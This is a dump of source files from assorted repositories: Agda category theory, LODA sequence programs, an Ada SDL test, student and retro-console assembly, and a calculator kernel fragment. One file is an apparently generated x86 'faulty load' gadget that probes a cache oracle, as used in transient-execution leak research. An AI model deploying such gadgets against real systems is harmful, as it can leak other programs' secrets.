max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
src/CategoryTheory/Categories.agda | DimaSamoz/temporal-type-systems | 4 | 3042 |
{- Type classes and instances for categories. -}
module CategoryTheory.Categories where
open import Relation.Binary.PropositionalEquality
using (_≡_ ; refl ; sym ; trans ; subst ; cong) public
open import Relation.Binary using (IsEquivalence)
open import Agda.Primitive using (Level ; _⊔_ ; lzero ; lsuc) public
open import Relation.Binary.PropositionalEquality
-- Function extensionality
postulate
ext : ∀{a b} -> Extensionality a b
-- Type class for categories.
-- Based on https://github.com/UlfNorell/category-theory-experiments
record Category (n : Level) : Set (lsuc (lsuc n)) where
infixr 10 _~>_
infixl 40 _≈_
infixr 60 _∘_
field
-- || Data
-- Objects
obj : Set (lsuc n)
-- Arrows
_~>_ : obj -> obj -> Set n
-- || Operations
-- Identity arrow
id : {A : obj} -> A ~> A
-- Composition of arrows
_∘_ : {A B C : obj} -> (B ~> C) -> (A ~> B) -> (A ~> C)
-- Equality of arrows (as we don't have function extensionality)
_≈_ : {A B : obj} -> (A ~> B) -> (A ~> B) -> Set n
-- || Laws
-- Left identity
id-left : {A B : obj} {f : A ~> B} -> id ∘ f ≈ f
-- Right identity
id-right : {A B : obj} {f : A ~> B} -> f ∘ id ≈ f
-- Associativity of composition
∘-assoc : {A B C D : obj} {f : C ~> D} {g : B ~> C} {h : A ~> B}
-> (f ∘ g) ∘ h ≈ f ∘ (g ∘ h)
-- Arrow equality is an equivalence relation
≈-equiv : ∀{A B : obj} -> IsEquivalence (_≈_ {A} {B})
-- Congruence of equality and composition
≈-cong : ∀{A B C : obj} {f f′ : A ~> B} {g g′ : B ~> C}
-> f ≈ f′ -> g ≈ g′ -> g ∘ f ≈ g′ ∘ f′
-- Equational reasoning for ≈ (based on the standard library definitions)
infix 3 _∎
infixr 2 _≈⟨⟩_ _≈⟨_⟩_
infix 1 begin_
infixl 20 _[sym]
infixr 15 _≈>_
begin_ : ∀{A B : obj} {x y : A ~> B} → x ≈ y → x ≈ y
begin_ x≈y = x≈y
_≈⟨⟩_ : ∀{A B : obj} (x {y} : A ~> B) → x ≈ y → x ≈ y
_ ≈⟨⟩ x≈y = x≈y
_≈⟨_⟩_ : ∀{A B : obj} (x {y z} : A ~> B) → x ≈ y → y ≈ z → x ≈ z
_ ≈⟨ x≈y ⟩ y≈z = IsEquivalence.trans ≈-equiv x≈y y≈z
_∎ : ∀{A B : obj} (x : A ~> B) → x ≈ x
_∎ _ = IsEquivalence.refl ≈-equiv
r≈ : ∀{A B : obj} {x : A ~> B} → x ≈ x
r≈ = IsEquivalence.refl ≈-equiv
_[sym] : ∀{A B : obj} {x y : A ~> B} → x ≈ y → y ≈ x
p [sym] = IsEquivalence.sym ≈-equiv p
_≈>_ : ∀{A B : obj} {x y z : A ~> B} → x ≈ y → y ≈ z → x ≈ z
p1 ≈> p2 = IsEquivalence.trans ≈-equiv p1 p2
id-comm : {A B : obj} {f : A ~> B} -> f ∘ id ≈ id ∘ f
id-comm = id-right ≈> id-left [sym]
-- Derived congruence properties
≈-cong-left : ∀{A B C : obj} {f : A ~> B} {g g′ : B ~> C}
-> g ≈ g′ -> g ∘ f ≈ g′ ∘ f
≈-cong-left e = ≈-cong r≈ e
≈-cong-right : ∀{A B C : obj} {g : B ~> C} {f f′ : A ~> B}
-> f ≈ f′ -> g ∘ f ≈ g ∘ f′
≈-cong-right e = ≈-cong e r≈
-- Isomorphism of two objects
record _<~>_ (A B : obj) : Set (lsuc n) where
field
-- | Data
-- Arrow in one direction
iso~> : A ~> B
-- Arrow in other direction
iso<~ : B ~> A
-- | Laws
iso-id₁ : iso<~ ∘ iso~> ≈ id {A}
iso-id₂ : iso~> ∘ iso<~ ≈ id {B}
|
src/io/InputOnMouseWheel.asm | jhm-ciberman/calculator-asm | 2 | 100063 | proc InputOnMouseWheel, delta:WORD
xor eax, eax
mov ax, cx
cwd
mov cx, 120
idiv cx
cwde
shl eax, 4
fastcall AppLogOffsetIncrement, eax
ret
endp |
oeis/061/A061356.asm | neoneye/loda-programs | 11 | 172202 | <reponame>neoneye/loda-programs
; A061356: Triangle T(n,k) = labeled trees on n nodes with maximal node degree k (0 < k < n).
; Submitted by <NAME>
; 1,2,1,9,6,1,64,48,12,1,625,500,150,20,1,7776,6480,2160,360,30,1,117649,100842,36015,6860,735,42,1,2097152,1835008,688128,143360,17920,1344,56,1,43046721,38263752,14880348,3306744,459270,40824,2268,72,1,1000000000,900000000,360000000,84000000,12600000,1260000,84000,3600,90,1,25937424601,23579476910,9646149645,2338460520,372027810,40584852,3074610,159720,5445,110,1,743008370688,681091006464,283787919360,70946979840,11824496640,1379524608,114960384,6842880,285120,7920,132,1,23298085122481
lpb $0
add $1,1
sub $0,$1
mov $2,$1
sub $2,$0
lpe
bin $1,$0
add $0,1
add $0,$2
pow $0,$2
mul $1,$0
mov $0,$1
|
test/create_window.adb | treggit/sdlada | 89 | 7797 | with Ada.Strings.Unbounded;
with SDL;
with SDL.Timers;
with SDL.Video.Pixel_Formats;
with SDL.Video.Surfaces;
with SDL.Video.Windows;
with SDL.Video.Windows.Makers;
procedure Create_Window is
package US renames Ada.Strings.Unbounded;
function "+" (S : String) return US.Unbounded_String
renames US.To_Unbounded_String;
function "+" (S : US.Unbounded_String) return String
renames US.To_String;
type Testcase is record
Label : US.Unbounded_String;
Position : SDL.Natural_Coordinates;
end record;
Tests : constant array (Positive range <>) of Testcase :=
((+"X: Undefined position (0)",
(SDL.Video.Windows.Undefined_Window_Position (0), 100)),
(+"Y: Undefined position (1)",
(100, SDL.Video.Windows.Undefined_Window_Position (1))),
(+"Y: Centered position (0)",
(100, SDL.Video.Windows.Centered_Window_Position (0))),
(+"X: Centered position (1)",
(SDL.Video.Windows.Centered_Window_Position (1), 100)));
begin
if not SDL.Initialise then
raise Program_Error;
end if;
for T of Tests loop
declare
Width : constant := 400;
Height : constant := 300;
W : SDL.Video.Windows.Window;
S : SDL.Video.Surfaces.Surface;
begin
SDL.Video.Windows.Makers.Create
(W, +T.Label, T.Position, (Width, Height));
S := W.Get_Surface;
for I in 1 .. 10 loop
S.Fill (Area => (0, 0, Width, Height),
Colour => SDL.Video.Pixel_Formats.To_Pixel
(S.Pixel_Format, 255, 255, 255));
W.Update_Surface;
SDL.Timers.Wait_Delay (100);
end loop;
end;
end loop;
SDL.Finalise;
end Create_Window;
|
AssemblyLanguage_Lab/ASB_LAB_4/main1.asm | strawberrylin/Hust_CS_Lab | 1 | 11894 | <filename>AssemblyLanguage_Lab/ASB_LAB_4/main1.asm
;main source code
;@author strawberrylin
.386
data segment use16
bufc db '1:Input the name and score',0ah,0dh,
'2:Figure the sum and the average score',0ah,0dh,
'3:Sort the score',0ah,0dh,
'4:Output the score from high to low',0ah,0dh,
'Enter your choose:','$'
buft2 db 0ah,0dh,'Input name:$'
buft3 db 0ah,0dh,'Input chinese score:$'
buft4 db 0ah,0dh,'Input math score:$'
buft5 db 0ah,0dh,'Input english score:$'
buf db 20
db ?
db 20 dup(0)
store db 200 dup(0)
sum dw 0
avr db 0
data ends
stack segment use16 stack
db 200 dup(0)
stack ends
code segment use16
assume ds:data,cs:code,ss:stack
start:
mov ax, data
mov ds, ax
lea di, store ; 信息储存位置
mov cx, 0 ; 学生数
show:
lea dx, bufc
mov ah, 9
int 21h
mov ah, 1 ;input choose
int 21h
cmp al, '1'
jz function1
cmp al, '2'
jz function2
cmp al, '3'
jz function3
cmp al, '4'
jz function4
jmp show
function1:
call far ptr INFOIN
jmp show
function2:
function3:
function4:
mov ah, 4ch
int 21h
code ends
;子程序名:INFOIN
;功能:录入学生信息
;入口参数:储存学生信息的内存地址的di
;出口参数:无
proce segment use16
assume cs:proce
INFOIN proc far
inc cx
push dx
push ax
push cx
push si
lea dx, buft2 ;input name
mov ah, 9
int 21h
lea dx, buf
mov ah, 10
int 21h
mov cl, buf+1
mov ch, 0
lea si, buf+2
begin:
mov al, [si]
mov [di], al
inc si
inc di
dec cx
jnz begin
mov cl, buf+1
mov ch, 0
add di, 10
sub di, cx
lea dx, buft3 ;input chns
mov ah, 9
int 21h
call GSCORE
lea dx, buft4 ;Input maths
mov ah, 9
int 21h
call GSCORE
lea dx, buft5 ;Input engs
mov ah, 9
int 21h
call GSCORE
mov ax, 0
mov dx, 0
mov dl, [di-1]
add ax,dx
mov dl, [di-2]
add ax, dx
mov dl, [di-3]
add ax, dx
mov WORD PTR[di], ax
mov dx, 0
mov dl, 3
div dl
inc di
inc di
mov [di], al
inc di
pop si
pop cx
pop ax
pop dx
ret
INFOIN endp
;子程序名:GSCORE
;功能:得到输入的成绩
;入口参数:储存学生信息的偏移地址di
;出口参数:ax,存储对应的成绩
GSCORE proc
push dx
push bx
push si
push cx
lea dx, buf
mov ah, 10
int 21h
mov cl, buf+1
lea si, buf+2
mov ax, 0
loapi:
mov bl, [si]
sub bl, 30h
mov bh, 0
imul ax, 10
add ax, bx
inc si
dec cx
jnz loapi
mov [di], al
inc di
pop cx
pop si
pop bx
pop dx
ret
GSCORE endp
proce ends
end start
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_21829_1750.asm | ljhsiun2/medusa | 9 | 25976 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r9
push %rax
push %rbp
push %rbx
push %rdi
lea addresses_UC_ht+0x1871, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
and $8705, %rbx
mov $0x6162636465666768, %r9
movq %r9, (%rdi)
nop
nop
nop
and %rax, %rax
lea addresses_WC_ht+0xcfb7, %r12
dec %rbp
and $0xffffffffffffffc0, %r12
movaps (%r12), %xmm4
vpextrq $1, %xmm4, %rax
and $9575, %rdi
lea addresses_D_ht+0x1ab77, %rax
nop
nop
cmp %rbx, %rbx
mov $0x6162636465666768, %r12
movq %r12, %xmm1
vmovups %ymm1, (%rax)
nop
xor $18460, %rax
lea addresses_WT_ht+0x13fb, %rbp
nop
cmp $65166, %rbx
mov (%rbp), %r9w
inc %rdi
lea addresses_normal_ht+0x10037, %rax
nop
nop
nop
add %rdi, %rdi
mov (%rax), %bp
cmp $37256, %rax
lea addresses_WC_ht+0x1a36f, %rbx
nop
nop
add %r10, %r10
mov (%rbx), %rdi
nop
nop
sub $4520, %rdi
lea addresses_WT_ht+0xc237, %r9
nop
nop
nop
dec %r10
movl $0x61626364, (%r9)
nop
nop
sub $21472, %rdi
lea addresses_WT_ht+0x7b7, %rdi
and %r10, %r10
mov (%rdi), %r12d
xor $24036, %rdi
lea addresses_WT_ht+0x33b7, %rdi
nop
add %r10, %r10
mov (%rdi), %r9
and $18153, %r12
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r8
push %r9
push %rbp
push %rbx
// Load
lea addresses_D+0x3d39, %r9
nop
nop
add $24818, %r8
mov (%r9), %r11d
and $46856, %r9
// Store
lea addresses_WT+0x1f5b7, %r8
nop
nop
nop
nop
nop
xor %r11, %r11
movl $0x51525354, (%r8)
nop
nop
nop
nop
sub %rbp, %rbp
// Store
mov $0x877, %r11
nop
nop
nop
nop
nop
cmp $49678, %r8
mov $0x5152535455565758, %rbp
movq %rbp, %xmm1
vmovups %ymm1, (%r11)
nop
add %r9, %r9
// Faulty Load
lea addresses_RW+0x5db7, %r9
nop
nop
nop
nop
sub $55532, %rbx
mov (%r9), %r8
lea oracles, %r9
and $0xff, %r8
shlq $12, %r8
mov (%r9,%r8,1), %r8
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': True, 'NT': True, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
oeis/272/A272952.asm | neoneye/loda-programs | 11 | 89913 | <filename>oeis/272/A272952.asm<gh_stars>10-100
; A272952: Number of n X 2 0..1 arrays with exactly n+2-2 having value 1 and no three 1s forming an isosceles right triangle.
; Submitted by <NAME>
; 2,6,10,21,34,62,100,171,276,458,740,1211,1958,3184,5150,8351,13510,21880,35400,57301,92712,150036,242760,392821,635594,1028442,1664050,2692521,4356586,7049138,11405740,18454911,29860668,48315614,78176300,126491951,204668270,331160260,535828550,866988851,1402817422,2269806316,3672623760,5942430121,9615053904,15557484072,25172538000,40730022121,65902560146,106632582318,172535142490,279167724861,451702867378,730870592294,1182573459700,1913444052051,3096017511780,5009461563890,8105479075700
add $0,1
mov $3,1
lpb $0
mov $2,$0
sub $0,2
seq $2,66629 ; a(n) = 2*Fibonacci(n+2) + ((-1)^n - 3)/2.
add $3,$2
lpe
add $0,4
add $3,$0
mov $0,$3
sub $0,4
|
factorial/fact.asm | AbderrhmanAbdellatif/SysPro | 0 | 16380 | <filename>factorial/fact.asm
segment .text
global fact
fact:
push ebp
mov ebp,esp
sub esp,4
mov dword [ebp-4],1
mov ecx,[ebp+8]
back:
mov eax,[ebp-4]
mul ecx
mov [ebp-4],eax
dec ecx
cmp ecx,1
jne back
mov eax,[ebp-4]
mov esp,ebp
pop ebp
ret
|
alloy4fun_models/trashltl/models/5/SLE5eXHevzSu5XrJd.als | Kaixi26/org.alloytools.alloy | 0 | 141 | open main
pred idSLE5eXHevzSu5XrJd_prop6 {
some f : File | always eventually f in Trash
}
pred __repair { idSLE5eXHevzSu5XrJd_prop6 }
check __repair { idSLE5eXHevzSu5XrJd_prop6 <=> prop6o } |
libsrc/stdio/m5/getk.asm | RC2014Z80/z88dk | 8 | 245734 | ;
; SORD M5 Stdio
;
; getk() Read key status
;
; <NAME> - 18/5/2001
;
;
; $Id: getk.asm,v 1.8+ (GIT imported) $
;
SECTION code_clib
PUBLIC getk
PUBLIC _getk
EXTERN msxbios
INCLUDE "m5bios.def"
.getk
._getk
ld ix,ACECH0
call msxbios
IF STANDARDESCAPECHARS
cp 13
jr nz,not_return
ld a,10
.not_return
ENDIF
ld h,0
ld l,a
ret
|
SourceCode/subrtraction.asm | Nuthi-Sriram/Assembly-Level-Code-for-8086 | 0 | 166747 | <reponame>Nuthi-Sriram/Assembly-Level-Code-for-8086<gh_stars>0
.MODEL small
.STACK
.DATA
.CODE
mov ax,-3
mov bx,-4
sub ax,bx
end |
test/Fail/Issue3807.agda | cruhland/agda | 1,989 | 4289 | <gh_stars>1000+
module _ (X : Set) where
open import Agda.Builtin.Equality
postulate
A : Set
data D : Set where
c : A → D
variable
P : D → Set
postulate
p : (f : ∀ x → P (c x)) (x y : A) → f x ≡ f y
|
test/test_kp.asm | kjkszpj/arch8 | 1 | 173625 | ld a0, C000h
mov a1, #2h
sub a0, a1
jp print
jmp loop
print:
ld a2, 8001h
checkPrinter:
ld a0, C000h
or a0, #80h
mov a1, #81h
sub a0, a1
jnz checkPrinter
st a2, 8002h
jmp loop |
1-source-files/main-sources/elite-readme.asm | markmoxon/elite-beebasm | 251 | 19891 | \ ******************************************************************************
\
\ ELITE README
\
\ Elite was written by <NAME> and <NAME> and is copyright Acornsoft 1984
\
\ The code on this site is identical to the source discs released on Ian Bell's
\ personal website at http://www.elitehomepage.org/ (it's just been reformatted
\ to be more readable)
\
\ The commentary is copyright <NAME>, and any misunderstandings or mistakes
\ in the documentation are entirely my fault
\
\ The terminology and notations used in this commentary are explained at
\ https://www.bbcelite.com/about_site/terminology_used_in_this_commentary.html
\
\ The deep dive articles referred to in this commentary can be found at
\ https://www.bbcelite.com/deep_dives
\
\ ------------------------------------------------------------------------------
\
\ This source file produces the following binary file:
\
\ * README.txt
\
\ ******************************************************************************
INCLUDE "1-source-files/main-sources/elite-header.h.asm"
_SOURCE_DISC = (_RELEASE = 1)
_TEXT_SOURCES = (_RELEASE = 2)
.readme
EQUB 10, 13
EQUS "---------------------------------------"
EQUB 10, 13
EQUS "Acornsoft Elite"
EQUB 10, 13
EQUB 10, 13
EQUS "Version: BBC Micro cassette"
EQUB 10, 13
IF _SOURCE_DISC
EQUS "Release: Ian Bell's source disc"
EQUB 10, 13
EQUS " Acornsoft SBG38 v1.0"
EQUB 10, 13
ELIF _TEXT_SOURCES
EQUS "Release: Ian Bell's text sources"
EQUB 10, 13
EQUS " Acornsoft SBG38 v1.1"
EQUB 10, 13
ENDIF
EQUB 10, 13
EQUS "See www.bbcelite.com for details"
EQUB 10, 13
EQUS "---------------------------------------"
EQUB 10, 13
SAVE "3-assembled-output/README.txt", readme, P%
|
other.7z/SFC.7z/SFC/ソースデータ/srd13-SFCマリオコレクション/export/mario-z/linkp/mario_n3/mn_hp_mr3bgd5.asm | prismotizm/gigaleak | 0 | 160544 | <filename>other.7z/SFC.7z/SFC/ソースデータ/srd13-SFCマリオコレクション/export/mario-z/linkp/mario_n3/mn_hp_mr3bgd5.asm
Name: mn_hp_mr3bgd5.asm
Type: file
Size: 4608
Last-Modified: '2013-06-27T06:41:24Z'
SHA-1: 2614192461767516A666F9CB2E0F3762AA599A8A
Description: null
|
programs/oeis/119/A119692.asm | neoneye/loda | 22 | 24607 | ; A119692: Binomial(2*n,n)*fib(n).
; 0,2,6,40,210,1260,7392,44616,270270,1653080,10161580,62783448,389398464,2423339800,15123958200,94621687200,593266344930,3726769133340,23450149615200,147778547947800,932531767467300
mov $1,$0
mul $0,2
bin $0,$1
seq $1,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
mul $0,$1
|
tests/testAssembler/testCases/prog.asm | 1sand0s/Lc3B-Assembler | 0 | 242469 | ;This program counts from 10 to 0
.ORIG x3000
LEA R0, TEN ;This instruction will be loaded into memory location x3000
LDW R1, R0, #31
START RSHFL R1, R1, #15
BRZ DONE
BR START
;blank line
DONE TRAP x25 ;The last executable instruction
TEN .FILL x-00A ;This is 10 in 2's comp, hexadecimal
NOP
RET
JMP R0
JSR DONE
JSRR R6
.END;The pseudo-op, delimiting the source program
BR START
|
3-mid/opengl/source/platform/egl/private/opengl-surface-privvy.adb | charlie5/lace | 20 | 2022 | <reponame>charlie5/lace<filename>3-mid/opengl/source/platform/egl/private/opengl-surface-privvy.adb<gh_stars>10-100
package body opengl.Surface.privvy
is
function to_eGL (Self : in Surface.item'Class) return egl.EGLSurface
is
begin
return Self.egl_Surface;
end to_eGL;
end opengl.Surface.privvy;
|
video/gl_init.asm | temisu/BR4096 | 8 | 177212 | <filename>video/gl_init.asm
; Copyright (C) <NAME>
%ifdef NO_LATURI
[section .data]
gl_init_attribs:
; dd SOLVE(kCGLPFADoubleBuffer)
; seems to work with only double buffering
dd 0
__SECT__
%endif
extern _gl_main_fragment_shader
gl_init:
DEBUG "Capture displays"
; LIBCALL_NOSTACK _CGCaptureAllDisplays
%ifdef NO_LATURI OLD_OSX
LIBCALL_NOSTACK _CGDisplayHideCursor
%else
LIBCALL_NOSTACK _SLDisplayHideCursor
%endif
%ifdef MODE_SWITCHING
DEBUG "Switch display mode"
push byte 0
push byte 0
push byte 0
push byte 0
push dword SCREEN_HEIGHT
push dword SCREEN_WIDTH
push byte 32
push byte 0
LIBCALL_NOSTACK _CGDisplayBestModeForParameters
push byte 0
push byte 0
push eax
push byte 0
LIBCALL_NOSTACK _CGDisplaySwitchToMode
%endif
DEBUG "CGL init"
mov edi,esp
push eax
push esp
push edi
%ifdef NO_LATURI
push dword gl_init_attribs
%else
push byte 8 ; first empty spot in header
%endif
LIBCALL_NOSTACK _CGLChoosePixelFormat
push eax
push edi
push eax
push dword [edi]
LIBCALL_NOSTACK _CGLCreateContext
%if 1
pop ebp
push eax
%ifdef NO_LATURI OLD_OSX
LIBCALL_NOSTACK _CGDisplayIDToOpenGLDisplayMask
%else
LIBCALL_NOSTACK _SLDisplayIDToOpenGLDisplayMask
%endif
%endif
push eax
%if 0
inc eax
%endif
push edi
push eax
push dword [edi]
LIBCALL_NOSTACK _CGLSetCurrentContext
.mask_loop:
DEBUG "CGL Fullscreen on mask %x",[byte esp+40]
LIBCALL_NOSTACK _CGLSetFullScreenOnDisplay
; Without _CGDisplayIDToOpenGLDisplayMask
%if 0
rol dword [byte esp+4],1
dec eax
jns short .mask_loop
inc eax
%endif
; DEBUG "VSYNC"
; mov [edi],dword 2
; mov [byte esp+4],byte SOLVE(kCGLCPSwapInterval)
; LIBCALL_NOSTACK _CGLSetParameter
DEBUG "Initializing shader"
; push esp
; pop edi
pop ebp
push dword _gl_main_fragment_shader
mov edi,esp
push eax
push edi
inc eax
push eax
push SOLVE(GL_FRAGMENT_SHADER)
LIBCALL_NOSTACK _glCreateShader
DEBUG "Shader is %d",eax
pop ebp
push eax
LIBCALL_NOSTACK _glShaderSource
LIBCALL_NOSTACK _glCompileShader
%if 0
; shader == 1 -> next things are not stricly necessary
pop ebp
pop eax
push eax
push eax
%endif
LIBCALL_NOSTACK _glCreateProgram
DEBUG "Program is %d",eax
pop ebp
push eax
LIBCALL_NOSTACK _glAttachShader
LIBCALL_NOSTACK _glLinkProgram
LIBCALL_NOSTACK _glUseProgram
; pop edi
; push byte 'm' ; 'tex'
; mov esi,esp
; GL_LIBCALL _glGetUniformLocation
; push byte 1
; push byte 0
; mov edx,esp
; push eax
; push eax
; xchg eax,edi
; push byte 2
; pop esi
; GL_LIBCALL _glUniform1iv
DEBUG "GL init done"
mov ecx,0x10000
; xor ecx,ecx
; dec cx
sub esp,ecx
mov edi,esp
mov ebp,esp
.random_loop:
LIBCALL _rand
stosb
loop .random_loop
DEBUG "Random generated"
; pushad
push byte 1
pop edi
mov esi,esp
GL_LIBCALL _glGenTextures
; popad
; Works without texture binding.
; mov esi,edi
mov edi,SOLVE(GL_TEXTURE_3D)
; GL_LIBCALL _glBindTexture
mov esi,SOLVE(GL_TEXTURE_MIN_FILTER)
mov edx,SOLVE(GL_LINEAR)
GL_LIBCALL _glTexParameteri
xor esi,esi
push byte 1
pop edx
mov cl,32
push ecx
push ecx
push ebp
push dword SOLVE(GL_UNSIGNED_BYTE)
push dword SOLVE(GL_RED)
push byte 0
push ecx
push ecx
GL_LIBCALL _glTexImage3D
DEBUG "Noise texture done"
gl_init_end:
|
src/inidisp-glitch/inidisp_hammer_0f_long.asm | undisbeliever/snes-test-roms | 7 | 20809 | <filename>src/inidisp-glitch/inidisp_hammer_0f_long.asm
// Constantly writes 0x0f to address $802100
//
// Copyright (c) 2021, <NAME> <<EMAIL>>.
// Distributed under The MIT License: https://opensource.org/licenses/MIT
define ROM_NAME = "INIDISP HAMMER TEST"
define VERSION = 1
include "_inidisp_d7_common.inc"
au()
iu()
code()
function Main {
rep #$30
sep #$20
a8()
i16()
sei
SetupPpu()
lda.b #0x0f
MainLoop:
sta.l 0x802100
bra MainLoop
}
|
sorcery.asm | TheMachine02/Sorcery | 14 | 10383 | <gh_stars>10-100
include 'header/include/ez80.inc'
include 'header/include/tiformat.inc'
include 'header/include/os.inc'
; kernel header
include 'header/asm-errno.inc'
include 'header/asm-signal.inc'
include 'header/asm-leaf-def.inc'
include 'header/asm-boot.inc'
; kernel build config
include 'config'
format ti executable 'SORCERY'
;-------------------------------------------------------------------------------
os_create
;-------------------------------------------------------------------------------
;-------------------------------------------------------------------------------
os_rom
;-------------------------------------------------------------------------------
sorcery:
include 'certificate.asm'
; we'll set as occupying 1 sectors - or 64KB
db $5A, $A5, $FF, $01
jp sorcery_end
jp init
sorcery_hypervisor:
jp kinterrupt.irq_handler
jp nmi.handler
jp restart.10h
jp restart.18h
jp restart.20h
jp restart.28h
jp restart.30h
; align this to 4 bytes
sysjump:
jp _open
jp _close
jp _rename
jp _enosys ; _link
jp _enosys ; _unlink
jp _read
jp _write
jp _lseek
jp _chdir
jp _sync
jp _access
jp _chmod
jp _chown
jp _stat
jp _fstat
jp _dup
jp _getpid
jp _getppid
